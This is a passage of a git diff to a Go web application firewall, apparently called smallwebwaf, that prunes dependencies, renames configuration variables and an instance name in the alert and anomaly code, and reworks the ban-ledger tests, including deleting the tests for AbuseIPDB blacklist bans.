|
||||||
github.com/spf13/viper v1.21.0
|
github.com/spf13/viper v1.21.0
|
||||||
go.uber.org/fx v1.24.0
|
|
||||||
golang.org/x/net v0.60.0
|
|
||||||
golang.org/x/sys v0.48.0
|
|
||||||
)
|
)
|
||||||
|
|
||||||
require (
|
require (
|
||||||
@@ -46,12 +43,11 @@ require (
|
|||||||
github.com/tidwall/match v1.1.1 // indirect
|
github.com/tidwall/match v1.1.1 // indirect
|
||||||
github.com/tidwall/pretty v1.2.1 // indirect
|
github.com/tidwall/pretty v1.2.1 // indirect
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
||||||
go.uber.org/dig v1.19.0 // indirect
|
|
||||||
go.uber.org/multierr v1.10.0 // indirect
|
|
||||||
go.uber.org/zap v1.26.0 // indirect
|
|
||||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
||||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||||
|
golang.org/x/net v0.60.0 // indirect
|
||||||
golang.org/x/sync v0.23.0 // indirect
|
golang.org/x/sync v0.23.0 // indirect
|
||||||
|
golang.org/x/sys v0.48.0 // indirect
|
||||||
golang.org/x/text v0.42.0 // indirect
|
golang.org/x/text v0.42.0 // indirect
|
||||||
google.golang.org/protobuf v1.36.11 // indirect
|
google.golang.org/protobuf v1.36.11 // indirect
|
||||||
rsc.io/binaryregexp v0.2.0 // indirect
|
rsc.io/binaryregexp v0.2.0 // indirect
|
||||||
|
|||||||
@@ -97,16 +97,8 @@ github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
|
|||||||
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
|
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
|
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
|
||||||
go.uber.org/dig v1.19.0 h1:BACLhebsYdpQ7IROQ1AGPjrXcP5dF80U3gKoFzbaq/4=
|
|
||||||
go.uber.org/dig v1.19.0/go.mod h1:Us0rSJiThwCv2GteUN0Q7OKvU7n5J4dxZ9JKUXozFdE=
|
|
||||||
go.uber.org/fx v1.24.0 h1:wE8mruvpg2kiiL1Vqd0CC+tr0/24XIB10Iwp2lLWzkg=
|
|
||||||
go.uber.org/fx v1.24.0/go.mod h1:AmDeGyS+ZARGKM4tlH4FY2Jr63VjbEDJHtqXTGP5hbo=
|
|
||||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||||
go.uber.org/multierr v1.10.0 h1:S0h4aNzvfcFsC3dRF1jLoaov7oRaKqRGC/pUEJ2yvPQ=
|
|
||||||
go.uber.org/multierr v1.10.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
|
|
||||||
go.uber.org/zap v1.26.0 h1:sI7k6L95XOKS281NhVKOFCUNIvv9e0w4BF8N3u+tCRo=
|
|
||||||
go.uber.org/zap v1.26.0/go.mod h1:dtElttAiwGvoJ/vj4IwHBS/gXsEu/pZ50mUIRWuG0so=
|
|
||||||
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
|
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
|
||||||
go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ=
|
go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ=
|
||||||
go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
|
go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
|
||||||
|
|||||||
@@ -45,11 +45,12 @@ const (
|
|||||||
// threshold.
|
// threshold.
|
||||||
EventAnomaly = "anomaly"
|
EventAnomaly = "anomaly"
|
||||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
|
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||||
// detect mode.
|
// detect mode.
|
||||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||||
// EventReputationHit is a request whose client a blocklist or a DNSBL
|
// EventReputationHit is a request whose client a blocklist, the
|
||||||
// zone lists, or whose AbuseIPDB score is a hit.
|
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
|
||||||
|
// is a hit.
|
||||||
EventReputationHit = "reputation_hit"
|
EventReputationHit = "reputation_hit"
|
||||||
// EventSourceFailure is GeoJS failing or refusing sww, a fetch
|
// EventSourceFailure is GeoJS failing or refusing sww, a fetch
|
||||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ const (
|
|||||||
ntfyURL = "https://ntfy.example/sww-alerts"
|
ntfyURL = "https://ntfy.example/sww-alerts"
|
||||||
ntfyToken = "tk_0123456789abcdefghijklmnopq"
|
ntfyToken = "tk_0123456789abcdefghijklmnopq"
|
||||||
// instance is the instance name every alert gives.
|
// instance is the instance name every alert gives.
|
||||||
instance = "host1/blog"
|
instance = "fsn1app1/blog"
|
||||||
// started is when each test starts, as an alert gives it, and
|
// started is when each test starts, as an alert gives it, and
|
||||||
// anHourOn an hour later.
|
// anHourOn an hour later.
|
||||||
started = "2000-01-01T00:00:00Z"
|
started = "2000-01-01T00:00:00Z"
|
||||||
@@ -1160,8 +1160,8 @@ func TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantBodies(t, standIns[alerts.DestinationSlack],
|
wantBodies(t, standIns[alerts.DestinationSlack],
|
||||||
`{"text":"*host1/blog: file_error*\nsecond"}`,
|
`{"text":"*fsn1app1/blog: file_error*\nsecond"}`,
|
||||||
`{"text":"*host1/blog: file_error*\nthird"}`)
|
`{"text":"*fsn1app1/blog: file_error*\nthird"}`)
|
||||||
wantBodies(t, standIns[alerts.DestinationNtfy], "fourth")
|
wantBodies(t, standIns[alerts.DestinationNtfy], "fourth")
|
||||||
|
|
||||||
// alerts.json then lists Slack and ntfy alone, with no alert waiting.
|
// alerts.json then lists Slack and ntfy alone, with no alert waiting.
|
||||||
@@ -1477,7 +1477,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
Reason: "requests per hour over the limit of 10000",
|
Reason: "requests per hour over the limit of 10000",
|
||||||
Detail: map[string]any{"mode": "observe"},
|
Detail: map[string]any{"mode": "observe"},
|
||||||
},
|
},
|
||||||
"host1/blog: ban", "default no_entry",
|
"fsn1app1/blog: ban", "default no_entry",
|
||||||
"requests per hour over the limit of 10000\nclient: 203.0.113.9\n" +
|
"requests per hour over the limit of 10000\nclient: 203.0.113.9\n" +
|
||||||
"netblock: 203.0.113.0/24\ncountry: DE\nmode: observe",
|
"netblock: 203.0.113.0/24\ncountry: DE\nmode: observe",
|
||||||
},
|
},
|
||||||
@@ -1489,7 +1489,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
), Country: "FR",
|
), Country: "FR",
|
||||||
Reason: "matched the rule env-file",
|
Reason: "matched the rule env-file",
|
||||||
},
|
},
|
||||||
"host1/blog: permanent_ban", "high no_entry",
|
"fsn1app1/blog: permanent_ban", "high no_entry",
|
||||||
"matched the rule env-file\nclient: 198.51.100.7\n" +
|
"matched the rule env-file\nclient: 198.51.100.7\n" +
|
||||||
"netblock: 198.51.100.7/32\ncountry: FR",
|
"netblock: 198.51.100.7/32\ncountry: FR",
|
||||||
},
|
},
|
||||||
@@ -1500,7 +1500,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
Reason: "refused by the Core Rule Set",
|
Reason: "refused by the Core Rule Set",
|
||||||
Host: "app.example",
|
Host: "app.example",
|
||||||
},
|
},
|
||||||
"host1/blog: core_rule_set_match", "default shield",
|
"fsn1app1/blog: core_rule_set_match", "default shield",
|
||||||
"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
|
"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
|
||||||
"netblock: 192.0.2.1/32",
|
"netblock: 192.0.2.1/32",
|
||||||
},
|
},
|
||||||
@@ -1509,7 +1509,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
||||||
Reason: "requests per minute over the threshold of 5000",
|
Reason: "requests per minute over the threshold of 5000",
|
||||||
},
|
},
|
||||||
"host1/blog: anomaly", "high chart_with_upwards_trend",
|
"fsn1app1/blog: anomaly", "high chart_with_upwards_trend",
|
||||||
"requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24",
|
"requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -1518,7 +1518,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
Netblock: netip.MustParsePrefix("192.0.2.2/32"),
|
Netblock: netip.MustParsePrefix("192.0.2.2/32"),
|
||||||
Reason: "listed by a DNS blocklist",
|
Reason: "listed by a DNS blocklist",
|
||||||
},
|
},
|
||||||
"host1/blog: reputation_hit", "low label",
|
"fsn1app1/blog: reputation_hit", "low label",
|
||||||
"listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32",
|
"listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -1526,7 +1526,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed",
|
Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed",
|
||||||
Detail: map[string]any{"source": "geojs"},
|
Detail: map[string]any{"source": "geojs"},
|
||||||
},
|
},
|
||||||
"host1/blog: source_failure", "high warning",
|
"fsn1app1/blog: source_failure", "high warning",
|
||||||
"asking GeoJS failed\nsource: geojs",
|
"asking GeoJS failed\nsource: geojs",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -1537,7 +1537,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
"file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action",
|
"file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"host1/blog: file_error", "high warning",
|
"fsn1app1/blog: file_error", "high warning",
|
||||||
"a rule file has an error, and the rules stay as they were\n" +
|
"a rule file has an error, and the rules stay as they were\n" +
|
||||||
"file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action",
|
"file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action",
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ const (
|
|||||||
ScopeASN = "asn"
|
ScopeASN = "asn"
|
||||||
// ScopeTotal is the whole service.
|
// ScopeTotal is the whole service.
|
||||||
ScopeTotal = "total"
|
ScopeTotal = "total"
|
||||||
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
|
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
|
||||||
ScopeWatchedNet = "watched_net"
|
ScopeWatchedNet = "watched_net"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -68,7 +68,7 @@ type Thresholds struct {
|
|||||||
BytesPerHour int64
|
BytesPerHour int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
|
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
|
||||||
type NamedNetblock struct {
|
type NamedNetblock struct {
|
||||||
Name string
|
Name string
|
||||||
Netblock netip.Prefix
|
Netblock netip.Prefix
|
||||||
@@ -78,12 +78,12 @@ type NamedNetblock struct {
|
|||||||
type Params struct {
|
type Params struct {
|
||||||
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
||||||
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
||||||
// SWW_WAF_ANOMALY_WATCHED_NET_*.
|
// SWW_WAF_WATCH_*.
|
||||||
Client, Net, ASN, Total, WatchedNet Thresholds
|
Client, Net, ASN, Total, Watch Thresholds
|
||||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||||
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
||||||
NetV4Prefix, NetV6Prefix int
|
NetV4Prefix, NetV6Prefix int
|
||||||
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
|
// NamedNetblocks are SWW_WAF_WATCH_NETS.
|
||||||
NamedNetblocks []NamedNetblock
|
NamedNetblocks []NamedNetblock
|
||||||
// Alerts receive the anomaly alerts.
|
// Alerts receive the anomaly alerts.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
@@ -119,7 +119,7 @@ type Request struct {
|
|||||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||||
// unknown.
|
// unknown.
|
||||||
ASN, ASName, Country string
|
ASN, ASName, Country string
|
||||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
|
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
|
||||||
Bytes int64
|
Bytes int64
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
|||||||
scope: ScopeWatchedNet,
|
scope: ScopeWatchedNet,
|
||||||
netblock: named.Netblock,
|
netblock: named.Netblock,
|
||||||
name: named.Name,
|
name: named.Name,
|
||||||
}, p.WatchedNet,
|
}, p.Watch,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
||||||
counters := anomaly.New(anomaly.Params{
|
counters := anomaly.New(anomaly.Params{
|
||||||
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
||||||
Total: overAtTheSecond, WatchedNet: overAtTheSecond,
|
Total: overAtTheSecond, Watch: overAtTheSecond,
|
||||||
// The netblock around a client is the client's own, and two names
|
// The netblock around a client is the client's own, and two names
|
||||||
// name one netblock.
|
// name one netblock.
|
||||||
NetV4Prefix: 32,
|
NetV4Prefix: 32,
|
||||||
|
|||||||
@@ -1,169 +0,0 @@
|
|||||||
package bans_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/netip"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestBlacklistedNetblockIsBannedUntilTheGivenEnd(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
now := midnight()
|
|
||||||
expires := now.Add(30 * day)
|
|
||||||
|
|
||||||
made := ledger.BanForAbuseIPDB(
|
|
||||||
now, expires, map[netip.Prefix]int64{netblock: 95},
|
|
||||||
)
|
|
||||||
if made != 1 || ledger.Made(bans.CauseAbuseIPDB) != 1 {
|
|
||||||
t.Fatalf("made %d bans, %d counted, want 1 and 1",
|
|
||||||
made, ledger.Made(bans.CauseAbuseIPDB))
|
|
||||||
}
|
|
||||||
|
|
||||||
ban, banned, madePermanent := ledger.Check(netblock.Addr(), now)
|
|
||||||
if !banned || madePermanent || !ban.Expires.Equal(expires) ||
|
|
||||||
ban.Cause != bans.CauseAbuseIPDB ||
|
|
||||||
ban.Reason != "on AbuseIPDB's blacklist with a score of 95" ||
|
|
||||||
len(ban.Notes.Reputation) != 1 ||
|
|
||||||
ban.Notes.Reputation[0].Source != "abuseipdb" ||
|
|
||||||
*ban.Notes.Reputation[0].Score != 95 {
|
|
||||||
t.Errorf(
|
|
||||||
"ban %+v, banned %t, made permanent %t, want the blacklist's "+
|
|
||||||
"ban until %s",
|
|
||||||
ban,
|
|
||||||
banned,
|
|
||||||
madePermanent,
|
|
||||||
expires,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
|
||||||
t.Error("the ban refuses a request at its end")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBlacklistLeavesANetblockWithAnActiveBanAsItIs(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
now := midnight()
|
|
||||||
scores := map[netip.Prefix]int64{netblock: 100}
|
|
||||||
|
|
||||||
limitBan, _ := ledger.Ban(
|
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
|
|
||||||
if made := ledger.BanForAbuseIPDB(now, now.Add(30*day), scores); made != 0 {
|
|
||||||
t.Errorf("made %d bans over a ban for a limit, want none", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Once that ban has ended the netblock is banned, and the blacklist
|
|
||||||
// fetched again makes no second ban while the first lasts.
|
|
||||||
later := limitBan.Expires
|
|
||||||
if made := ledger.BanForAbuseIPDB(later, later.Add(30*day), scores); made != 1 {
|
|
||||||
t.Errorf("made %d bans after the ban for a limit, want 1", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
later = later.Add(time.Hour)
|
|
||||||
if made := ledger.BanForAbuseIPDB(later, later.Add(30*day), scores); made != 0 {
|
|
||||||
t.Errorf("made %d bans while the blacklist's lasts, want none", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2})
|
|
||||||
|
|
||||||
if got := ledger.Bans(netblock)[1].Notes.EarlierBans; got != (bans.EarlierBans{
|
|
||||||
Limit: 1,
|
|
||||||
}) {
|
|
||||||
t.Errorf("earlier bans %+v, want 1 for a limit", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestLiftedBlacklistBanHoldsUntilItsEnd(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
now := midnight()
|
|
||||||
expires := now.Add(30 * day)
|
|
||||||
scores := map[netip.Prefix]int64{netblock: 100}
|
|
||||||
|
|
||||||
ledger.BanForAbuseIPDB(now, expires, scores)
|
|
||||||
ledger.Lift(netblock.Addr(), now)
|
|
||||||
|
|
||||||
// The admin lifted it: the blacklist fetched again until its end bans
|
|
||||||
// nothing.
|
|
||||||
later := expires.Add(-time.Hour)
|
|
||||||
if made := ledger.BanForAbuseIPDB(later, later.Add(30*day), scores); made != 0 {
|
|
||||||
t.Errorf("made %d bans before the lifted ban's end, want none", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
// From its end on, the blacklist bans the netblock again, and the
|
|
||||||
// lifted ban, ended, is forgotten.
|
|
||||||
if made := ledger.BanForAbuseIPDB(expires, expires.Add(30*day), scores); made != 1 {
|
|
||||||
t.Errorf("made %d bans at the lifted ban's end, want 1", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{netblock: 1})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEndedBlacklistBansAreForgottenAtTheNextFetch(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
|
||||||
listed := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
limited := netip.MustParsePrefix("203.0.113.10/32")
|
|
||||||
now := midnight()
|
|
||||||
expires := now.Add(30 * day)
|
|
||||||
|
|
||||||
ledger.BanForAbuseIPDB(now, expires, map[netip.Prefix]int64{listed: 100})
|
|
||||||
ledger.Ban(limited, now, bans.Grounds{Cause: bans.CauseLimit})
|
|
||||||
|
|
||||||
// listed is off the blacklist when it is fetched after the ban's end.
|
|
||||||
if made := ledger.BanForAbuseIPDB(expires, expires.Add(30*day), nil); made != 0 {
|
|
||||||
t.Errorf("made %d bans for an empty blacklist, want none", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{listed: 0, limited: 1})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBlacklistBansDoNotCountTowardMaxBans(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
params := defaultParams()
|
|
||||||
params.MaxBans = 1
|
|
||||||
ledger := bans.New(params)
|
|
||||||
limited := netip.MustParsePrefix("203.0.113.1/32")
|
|
||||||
attacker := netip.MustParsePrefix("203.0.113.2/32")
|
|
||||||
now := midnight()
|
|
||||||
|
|
||||||
scores := map[netip.Prefix]int64{}
|
|
||||||
for i := range 3 {
|
|
||||||
scores[netip.PrefixFrom(netip.AddrFrom4([4]byte{198, 51, 100, byte(i)}), 32)] = 100
|
|
||||||
}
|
|
||||||
|
|
||||||
ledger.Ban(limited, now, bans.Grounds{Cause: bans.CauseLimit})
|
|
||||||
|
|
||||||
if made := ledger.BanForAbuseIPDB(now, now.Add(30*day), scores); made != 3 {
|
|
||||||
t.Errorf("made %d bans for 3 netblocks, want 3", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{limited: 1})
|
|
||||||
|
|
||||||
// The ban for an attack takes the place of the one for a limit, and no
|
|
||||||
// blacklist ban goes.
|
|
||||||
ledger.Ban(attacker, now, bans.Grounds{Cause: bans.CauseAttack})
|
|
||||||
|
|
||||||
want := map[netip.Prefix]int{limited: 0, attacker: 1}
|
|
||||||
for netblock := range scores {
|
|
||||||
want[netblock] = 1
|
|
||||||
}
|
|
||||||
|
|
||||||
wantBans(t, ledger, want)
|
|
||||||
}
|
|
||||||
+23
-64
@@ -61,7 +61,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
|
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
|
||||||
|
|
||||||
// A new ban drops the ban sww made, and only that one.
|
// A new ban drops the ban sww made, and only that one.
|
||||||
ledger.Ban(second, midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
||||||
wantBans(
|
wantBans(
|
||||||
t,
|
t,
|
||||||
ledger,
|
ledger,
|
||||||
@@ -77,7 +77,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// And the next drops that one.
|
// And the next drops that one.
|
||||||
ledger.Ban(third, midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
||||||
wantBans(
|
wantBans(
|
||||||
t,
|
t,
|
||||||
ledger,
|
ledger,
|
||||||
@@ -98,28 +98,20 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
|||||||
// twice, each time after its last ban has ended.
|
// twice, each time after its last ban has ended.
|
||||||
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
||||||
"probes for logins")
|
"probes for logins")
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
midnight().Add(time.Minute),
|
midnight().Add(time.Minute),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
|
||||||
second, _ := ledger.Ban(
|
|
||||||
netblock,
|
|
||||||
first.Expires,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
)
|
||||||
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
|
|
||||||
// A ban on another netblock fills the ledger, and the netblock's first
|
// A ban on another netblock fills the ledger, and the netblock's first
|
||||||
// ban for a limit, its earliest that is not an admin's, goes.
|
// ban for a limit, its earliest that is not an admin's, goes.
|
||||||
ledger.Ban(other, second.Start, bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(other, second.Start, bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
|
||||||
|
|
||||||
// The netblock's next ban still counts it.
|
// The netblock's next ban still counts it.
|
||||||
third, _ := ledger.Ban(
|
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
|
||||||
netblock,
|
|
||||||
second.Expires,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
|
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
|
||||||
t.Errorf("the third ban for a limit has earlier bans %+v, "+
|
t.Errorf("the third ban for a limit has earlier bans %+v, "+
|
||||||
"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
|
"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
|
||||||
@@ -135,27 +127,15 @@ func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
|
|||||||
// The netblock breaks a limit twice, the second time after its first
|
// The netblock breaks a limit twice, the second time after its first
|
||||||
// ban has ended, and the second ban's notes count the first. An admin
|
// ban has ended, and the second ban's notes count the first. An admin
|
||||||
// then keeps the first ban.
|
// then keeps the first ban.
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
second, _ := ledger.Ban(
|
|
||||||
netblock,
|
|
||||||
first.Expires,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
|
|
||||||
kept := first
|
kept := first
|
||||||
kept.Cause = bans.CauseAdmin
|
kept.Cause = bans.CauseAdmin
|
||||||
ledger.LoadEdit([]bans.Ban{kept, second})
|
ledger.LoadEdit([]bans.Ban{kept, second})
|
||||||
|
|
||||||
// The netblock's next ban counts the kept ban once, as an admin's.
|
// The netblock's next ban counts the kept ban once, as an admin's.
|
||||||
third, _ := ledger.Ban(
|
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
|
||||||
netblock,
|
|
||||||
second.Expires,
|
|
||||||
